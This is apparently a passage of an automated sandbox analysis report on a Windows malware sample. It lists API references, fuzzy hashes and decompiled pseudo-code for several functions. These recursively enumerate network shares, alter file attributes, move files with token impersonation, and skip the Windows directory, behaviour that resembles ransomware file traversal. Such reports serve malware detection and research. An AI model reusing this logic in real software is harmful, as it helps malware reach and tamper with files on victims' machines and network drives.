            • GetFileAttributesW.KERNEL32(?), ref: 01363409
            • SetFileAttributesW.KERNEL32(?,00000080), ref: 0136341E
            Memory Dump Source
            • Source File: 00000001.00000002.916068522.0000000001361000.00000020.00020000.sdmp, Offset: 01360000, based on PE: true
            • Associated: 00000001.00000002.916043084.0000000001360000.00000002.00020000.sdmp Download File
            • Associated: 00000001.00000002.916127088.000000000136D000.00000002.00020000.sdmp Download File
            • Associated: 00000001.00000002.916170442.0000000001370000.00000004.00020000.sdmp Download File
            • Associated: 00000001.00000002.916216880.0000000001373000.00000008.00020000.sdmp Download File
            • Associated: 00000001.00000002.916314805.0000000001380000.00000002.00020000.sdmp Download File
            Yara matches
            Similarity
            • API ID: File$AttributesErrorLastWin32$Create
            • String ID:
            • API String ID: 1515811453-0
            • Opcode ID: 0663ac1bee30f6da1c0fe4be13a21a783d52c78c7c858ddef48bb8ed78bb6f15
            • Instruction ID: cc0c47c1fbe7edc79c1d6503f37760a7ce39a01176b0cc6d17437046427fac7d
            • Opcode Fuzzy Hash: 0663ac1bee30f6da1c0fe4be13a21a783d52c78c7c858ddef48bb8ed78bb6f15
            • Instruction Fuzzy Hash: 04411D71904207BBEB22AF2C9C44FAF766CFF5465CF24C529F919A6289EF3489018265
            Uniqueness

            Uniqueness Score: -1.00%

            C-Code - Quality: 98%
            			E013681AB(int _a4, int _a8, struct _NETRESOURCE* _a12) {
            				struct _NETRESOURCE* _v8;
            				int _v12;
            				void* _v16;
            				int _v20;
            				struct _NETRESOURCE* _v24;
            				short _v26;
            				char _v40;
            				struct _NETRESOURCE* _t41;
            				signed int _t43;
            				struct _NETRESOURCE* _t45;
            				struct _NETRESOURCE* _t60;
            				void* _t64;
            				struct _NETRESOURCE* _t71;
            				struct _NETRESOURCE* _t72;
            				struct _NETRESOURCE** _t74;
            				void* _t76;
            
            				_t71 = _a12;
            				if(WNetOpenEnumW(_a8, 0, 0, _t71,  &_v16) == 0) {
            					_v12 = _v12 | 0xffffffff;
            					_v20 = 0x4000;
            					_t64 = E01364F5C(0x4000);
            					__eflags = _t64;
            					if(_t64 != 0) {
            						goto L5;
            						do {
            							while(1) {
            								L5:
            								_t41 = WNetEnumResourceW(_v16,  &_v12, _t64,  &_v20);
            								_v24 = _t41;
            								__eflags = _t41;
            								if(_t41 != 0) {
            									goto L21;
            								}
            								_v8 = _t41;
            								__eflags = _v12 - _t41;
            								if(_v12 <= _t41) {
            									continue;
            								}
            								_t14 = _t64 + 0x14; // 0x14
            								_t74 = _t14;
            								do {
            									__eflags =  *(_t74 - 8) & 0x00000002;
            									if(( *(_t74 - 8) & 0x00000002) == 0) {
            										goto L15;
            									}
            									__eflags = _t71;
            									if(_t71 == 0) {
            										L13:
            										_t20 = _t74 - 0x14; // 0x0
            										E013681AB(_a4, _a8, _t20);
            										_t76 = _t76 + 0xc;
            										L14:
            										_t41 = _v8;
            										goto L15;
            									}
            									__eflags =  *(_t71 + 0x14);
            									if( *(_t71 + 0x14) == 0) {
            										goto L15;
            									}
            									__eflags =  *_t74;
            									if( *_t74 == 0) {
            										goto L15;
            									}
            									_t19 = _t71 + 0x14; // 0x1371f54
            									_t60 = E01366561( *_t19,  *_t74);
            									__eflags = _t60;
            									if(_t60 == 0) {
            										goto L14;
            									}
            									goto L13;
            									L15:
            									__eflags =  *((intOrPtr*)(_t74 - 0x10)) - 1;
            									if( *((intOrPtr*)(_t74 - 0x10)) == 1) {
            										_t72 = E01364F5C(0xfffe);
            										__eflags = _t72;
            										if(_t72 != 0) {
            											E013661FD(0x1371728, 0x79b, 5, 0xe,  &_v40);
            											_v26 = 0;
            											E013665C2(_t72,  &_v40);
            											E013664E0(__eflags, _t72,  *_t74 + 2);
            											E013664E0(__eflags, _t72, 0x136d414);
            											 *0x1371f40 =  *0x1371f40 & 0x00000000;
            											__eflags =  *0x1371f40;
            											E01367DA1(_t72, _a4);
            											E01364FA9(_t72);
            											_t76 = _t76 + 0x38;
            										}
            										_t71 = _a12;
            										_t41 = _v8;
            									}
            									_t41 = _t41 + 1;
            									_t74 =  &(_t74[8]);
            									_v8 = _t41;
            									__eflags = _t41 - _v12;
            								} while (_t41 < _v12);
            								_t41 = _v24;
            								goto L21;
            							}
            							L21:
            							__eflags = _t41 - 0x103;
            						} while (_t41 != 0x103);
            						E01364FA9(_t64);
            						_t43 = WNetCloseEnum(_v16);
            						asm("sbb eax, eax");
            						_t45 =  ~_t43 + 1;
            						__eflags = _t45;
            						L23:
            						return _t45;
            					}
            					WNetCloseEnum(_v16);
            					_t45 = 0;
            					goto L23;
            				}
            				return 0;
            			}



















            0x013681b5
            0x013681c9
            0x013681d2
            0x013681dd
            0x013681e5
            0x013681e8
            0x013681ea
            0x013681fc
            0x013681fd
            0x013681fd
            0x013681fd
            0x01368209
            0x0136820f
            0x01368212
            0x01368214
            0x00000000
            0x00000000
            0x0136821a
            0x0136821d
            0x01368220
            0x00000000
            0x00000000
            0x01368222
            0x01368222
            0x01368225
            0x01368225
            0x01368229
            0x00000000
            0x00000000
            0x0136822b
            0x0136822d
            0x0136824a
            0x0136824a
            0x01368254
            0x01368259
            0x0136825c
            0x0136825c
            0x00000000
            0x0136825c
            0x0136822f
            0x01368233
            0x00000000
            0x00000000
            0x01368235
            0x01368238
            0x00000000
            0x00000000
            0x0136823c
            0x0136823f
            0x01368246
            0x01368248
            0x00000000
            0x00000000
            0x00000000
            0x0136825f
            0x0136825f
            0x01368263
            0x0136826f
            0x01368272
            0x01368274
            0x01368288
            0x0136828f
            0x01368298
            0x013682a4
            0x013682af
            0x013682b7
            0x013682b7
            0x013682bf
            0x013682c5
            0x013682ca
            0x013682ca
            0x013682cd
            0x013682d0
            0x013682d0
            0x013682d3
            0x013682d4
            0x013682d7
            0x013682da
            0x013682da
            0x013682e3
            0x00000000
            0x013682e3
            0x013682e6
            0x013682e6
            0x013682e6
            0x013682f2
            0x013682fb
            0x01368304
            0x01368306
            0x01368306
            0x01368307
            0x00000000
            0x01368307
            0x013681ef
            0x013681f5
            0x00000000
            0x013681f5
            0x00000000

            APIs
            • WNetOpenEnumW.MPR(00000001,00000000,00000000,013638E2,00000001), ref: 013681C1
            • WNetCloseEnum.MPR(00000001), ref: 013681EF
            Memory Dump Source
            • Source File: 00000001.00000002.916068522.0000000001361000.00000020.00020000.sdmp, Offset: 01360000, based on PE: true
            • Associated: 00000001.00000002.916043084.0000000001360000.00000002.00020000.sdmp Download File
            • Associated: 00000001.00000002.916127088.000000000136D000.00000002.00020000.sdmp Download File
            • Associated: 00000001.00000002.916170442.0000000001370000.00000004.00020000.sdmp Download File
            • Associated: 00000001.00000002.916216880.0000000001373000.00000008.00020000.sdmp Download File
            • Associated: 00000001.00000002.916314805.0000000001380000.00000002.00020000.sdmp Download File
            Yara matches
            Similarity
            • API ID: Enum$CloseOpen
            • String ID:
            • API String ID: 1701607978-0
            • Opcode ID: c691cc32d5138b1c31acc83942a2e9c1712b84d1c0a79c879455cf564035e18a
            • Instruction ID: 757ae2978abab25f4eda79edfc0519ae8d415b9d4d69d60eebe442c6072c4631
            • Opcode Fuzzy Hash: c691cc32d5138b1c31acc83942a2e9c1712b84d1c0a79c879455cf564035e18a
            • Instruction Fuzzy Hash: 2E41D67190020AEFEB21DFA8DC45BBEBBBDEF08718F108569E510A6158E7709A54CB50
            Uniqueness

            Uniqueness Score: -1.00%

            C-Code - Quality: 100%
            			E013650C8(void* __ecx, long _a4) {
            				long _v8;
            				void* _t6;
            				void* _t13;
            
            				_v8 = _v8 & 0x00000000;
            				_t6 = OpenProcess(0x400, 0, _a4);
            				_t13 = _t6;
            				if(_t13 != 0) {
            					do {
            						GetExitCodeProcess(_t13,  &_v8);
            						Sleep(0x3e8);
            					} while (_v8 == 0x103);
            					CloseHandle(_t13);
            					_t6 = 1;
            				}
            				return _t6;
            			}






            0x013650cc
            0x013650db
            0x013650e1
            0x013650e5
            0x013650e7
            0x013650ec
            0x013650f7
            0x013650fd
            0x01365107
            0x0136510f
            0x0136510f
            0x01365114

            APIs
            • OpenProcess.KERNEL32(00000400,00000000,01365F6A,?,?,?,01365F6A), ref: 013650DB
            • GetExitCodeProcess.KERNEL32(00000000,00000000), ref: 013650EC
            • Sleep.KERNEL32(000003E8,?,?,01365F6A), ref: 013650F7
            • CloseHandle.KERNEL32(00000000,?,?,01365F6A), ref: 01365107
            Memory Dump Source
            • Source File: 00000001.00000002.916068522.0000000001361000.00000020.00020000.sdmp, Offset: 01360000, based on PE: true
            • Associated: 00000001.00000002.916043084.0000000001360000.00000002.00020000.sdmp Download File
            • Associated: 00000001.00000002.916127088.000000000136D000.00000002.00020000.sdmp Download File
            • Associated: 00000001.00000002.916170442.0000000001370000.00000004.00020000.sdmp Download File
            • Associated: 00000001.00000002.916216880.0000000001373000.00000008.00020000.sdmp Download File
            • Associated: 00000001.00000002.916314805.0000000001380000.00000002.00020000.sdmp Download File
            Yara matches
            Similarity
            • API ID: Process$CloseCodeExitHandleOpenSleep
            • String ID:
            • API String ID: 126888380-0
            • Opcode ID: 1744644a5b9d3ee5123083de137d28914c771d461302eb08d4598ee424c2de36
            • Instruction ID: fb770d70de8339a2ed35c9e23aefd2936c67f2539d6e471e597ec803ace122b6
            • Opcode Fuzzy Hash: 1744644a5b9d3ee5123083de137d28914c771d461302eb08d4598ee424c2de36
            • Instruction Fuzzy Hash: B5E0ED32961218FBE7319BD4DC0DBAE7B6CEB0535AF1081A0FA00A2084C7B08A009BA4
            Uniqueness

            Uniqueness Score: -1.00%

            C-Code - Quality: 100%
            			E013680C0(WCHAR* _a4, WCHAR* _a8) {
            				long _t7;
            				void* _t8;
            				void* _t11;
            				int _t12;
            
            				_t12 = MoveFileW(_a4, _a8);
            				if(_t12 != 0) {
            					L4:
            					return _t12;
            				}
            				_t7 = RtlGetLastWin32Error();
            				_t14 = _t7 - 3;
            				if(_t7 != 3) {
            					goto L4;
            				}
            				_t8 = E01367805(_t11, _t14);
            				if(_t8 != 0) {
            					_t12 = MoveFileW(_a4, _a8);
            					RevertToSelf();
            					goto L4;
            				}
            				return _t8;
            			}







            0x013680d0
            0x013680d4
            0x013680fc
            0x00000000
            0x013680fc
            0x013680d6
            0x013680db
            0x013680de
            0x00000000
            0x00000000
            0x013680e0
            0x013680e7
            0x013680f5
            0x013680f7
            0x00000000
            0x013680f7
            0x01368100

            APIs
            • MoveFileW.KERNEL32(00000000,50C2440F), ref: 013680CA
            • RtlGetLastWin32Error.NTDLL ref: 013680D6
              • Part of subcall function 01367805: OpenProcess.KERNEL32(02000000,00000000,00000000,?,?,?,?,?,00000000), ref: 0136783D
              • Part of subcall function 01367805: OpenProcessToken.ADVAPI32(00000000,000F01FF,0136838A,?,?,?,?,?,00000000), ref: 01367853
            • MoveFileW.KERNEL32(00000000,50C2440F), ref: 013680EF
            • RevertToSelf.ADVAPI32(?,013635AC,50C2440F,00000000,00000000,00000000,?,?,013639F7,?,?), ref: 013680F7
            Memory Dump Source
            • Source File: 00000001.00000002.916068522.0000000001361000.00000020.00020000.sdmp, Offset: 01360000, based on PE: true
            • Associated: 00000001.00000002.916043084.0000000001360000.00000002.00020000.sdmp Download File
            • Associated: 00000001.00000002.916127088.000000000136D000.00000002.00020000.sdmp Download File
            • Associated: 00000001.00000002.916170442.0000000001370000.00000004.00020000.sdmp Download File
            • Associated: 00000001.00000002.916216880.0000000001373000.00000008.00020000.sdmp Download File
            • Associated: 00000001.00000002.916314805.0000000001380000.00000002.00020000.sdmp Download File
            Yara matches
            Similarity
            • API ID: FileMoveOpenProcess$ErrorLastRevertSelfTokenWin32
            • String ID:
            • API String ID: 1170966839-0
            • Opcode ID: a0831e068a4db51abd76c2e9c6b3808ecca7dfa3ed5076053793841f8506766b
            • Instruction ID: 494683e2c721204407d4c3b118cb9d5796ffd2487a51f82f5089b13588405e9a
            • Opcode Fuzzy Hash: a0831e068a4db51abd76c2e9c6b3808ecca7dfa3ed5076053793841f8506766b
            • Instruction Fuzzy Hash: 8CE04F3690032AF7CF322AA8DC054593E5DAF082F8B04C860FD18CA119DA31C85087D5
            Uniqueness

            Uniqueness Score: -1.00%

            C-Code - Quality: 93%
            			E01363131(intOrPtr _a4, intOrPtr _a8) {
            				short _v6;
            				char _v12;
            				short _v14;
            				char _v40;
            				short _v42;
            				char _v80;
            				signed int _t29;
            				signed int _t34;
            				signed int _t40;
            				WCHAR* _t53;
            
            				if( *0x13724cc != 0) {
            					return 1;
            				}
            				_t67 = _a8;
            				if(_a8 != 0) {
            					E013664B2(_a4);
            					E013664B2(_t67);
            					if( *0x1371f58 != 0) {
            						L9:
            						E013661FD(0x1370278, 0x468, 0xe, 0x1a,  &_v40);
            						_v14 = 0;
            						E013661FD(0x1370278, 0x126, 5, 0x26,  &_v80);
            						_v42 = 0;
            						if(E01366561(_t67,  &_v40) == 0 || E01366561(_t67,  &_v80) == 0) {
            							_t29 = 1;
            						} else {
            							if(E013666D1(_a4,  &_v40) == 0) {
            								_t34 = E013668DD(0x1372454, _t67);
            								asm("sbb eax, eax");
            								_t29 =  ~_t34 + 1;
            							} else {
            								E013661FD(0x1370278, 0xef8, 0xf, 6,  &_v12);
            								_v6 = 0;
            								_t40 = E013666D1(_a4,  &_v12);
            								asm("sbb eax, eax");
            								_t29 =  ~( ~_t40);
            							}
            						}
            						L15:
            						L16:
            						return _t29;
            					}
            					_t53 = L"\\\\?\\c:\\windows\\";
            					if( *0x1371f5c == 0) {
            						GetWindowsDirectoryW(E0136666B(_t53) * 2 + L"\\\\?\\c:\\windows\\", 0x104);
            						PathAddBackslashW(_t53);
            						E013664B2(_t53);
            						 *0x1371f5c = 1;
            					}
            					_t29 = E01366561(_t53, _a4);
            					if(_t29 != 0) {
            						goto L9;
            					} else {
            						 *0x1371f58 = 1;
            						goto L15;
            					}
            				}
            				_t29 = 1;
            				goto L16;
            			}













            0x0136313e
            0x00000000
            0x01363142
            0x01363149
            0x0136314e
            0x0136315c
            0x01363162
            0x01363170
            0x013631d0
            0x013631e3
            0x013631ea
            0x013631fc
            0x01363203
            0x01363216
            0x01363280
            0x01363228
            0x01363238
            0x01363270
            0x01363278
            0x0136327b
            0x0136323a
            0x01363248
            0x0136324f
            0x0136325a
            0x01363264
            0x01363266
            0x01363266
            0x01363238
            0x01363281
            0x01363282
            0x00000000
            0x01363282
            0x01363179
            0x0136317e
            0x01363194
            0x0136319b
            0x013631a2
            0x013631a8
            0x013631a8
            0x013631b6
            0x013631bf
            0x00000000
            0x013631c1
            0x013631c1
            0x00000000
            0x013631c1
            0x013631bf
            0x01363152
            0x00000000

            Strings
            Memory Dump Source
            • Source File: 00000001.00000002.916068522.0000000001361000.00000020.00020000.sdmp, Offset: 01360000, based on PE: true
            • Associated: 00000001.00000002.916043084.0000000001360000.00000002.00020000.sdmp Download File
            • Associated: 00000001.00000002.916127088.000000000136D000.00000002.00020000.sdmp Download File
            • Associated: 00000001.00000002.916170442.0000000001370000.00000004.00020000.sdmp Download File
            • Associated: 00000001.00000002.916216880.0000000001373000.00000008.00020000.sdmp Download File
            • Associated: 00000001.00000002.916314805.0000000001380000.00000002.00020000.sdmp Download File
            Yara matches
            Similarity
            • API ID:
            • String ID: \\?\c:\windows\
            • API String ID: 0-2558258126
            • Opcode ID: b442303a08e9645bb45e6aa57a4caf75f15e17344ba87bd27849f07113962d40
            • Instruction ID: c608b76ed0023332b471094bae29bc0320b44b3253c6e8c673f067093724b277
            • Opcode Fuzzy Hash: b442303a08e9645bb45e6aa57a4caf75f15e17344ba87bd27849f07113962d40
            • Instruction Fuzzy Hash: 023108B295420ABAEB31AB78DC42FFA37BCEB14398F00C125F905E50C9EE758554C760
            Uniqueness

            Uniqueness Score: -1.00%